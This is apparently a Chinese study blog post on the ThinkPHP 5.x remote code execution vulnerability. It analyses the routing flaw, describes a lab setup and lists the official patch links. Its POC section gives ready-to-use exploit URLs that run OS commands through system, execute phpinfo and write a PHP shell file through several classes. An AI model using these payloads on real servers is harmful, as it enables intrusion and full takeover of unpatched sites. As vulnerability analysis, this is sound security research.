ThinkPHP漏洞 跟着大佬学习下

摘要

近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。

影响范围

5.x < 5.1.31
<= 5.0.23

危害

远程代码执行

漏洞分析

以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心
分析补丁:802f284bec821a608e7543d91126abc5901b2815
路由信息中controller的部分进行了过滤,可知问题出现在路由调度时。

以5.1.23版本进行分析,执行路由调度的代码如下:

其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:

其中通过parseModuleAndClass方法解析出$module$class,然后实例化$class
rseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。
接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

代码比较简单,就是使用/对$url进行分割,未进行任何过滤。
其中的路由url从Request::path()中获取

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/
结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化\namespace\class类并执行method方法。
然而利用过程中会存在一些限制,部分类在实例化时由于缺少参数而报错。
经过一番寻找,在\think\Request类中找到可以利用的方法input。以下为执行phpinfo

环境搭建

TP5.0.*

直接从官网下载完整包解压到www(网站根目录)目录即可,URL指向public目录(如:http://localhost/TP5.0.22/public/

TP5.1.*

官方不再提供完整版下载,笔者从composer下载最新版后与官方GitHub进行了对比,发现以下几个仓库
Framework
think
think-installer
发现framework仓库就是完整版中的thinkphp目录


think仓库是thinkphp的主架构
think-installer对应路径为path\to\thinkphp\vendor\topthink\think-installer
那么整合下就好了
最终目录架构

访问下

POC

TP版本5.0.21:

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP版本5.0.22:

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.1.*

thinkphp5.1.29为例

1、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

2、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

3、文件写入(写shell):
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

4、未知:
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

5、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

7、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

修复方案

官方现已推出补丁 建议开发者进行修复

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815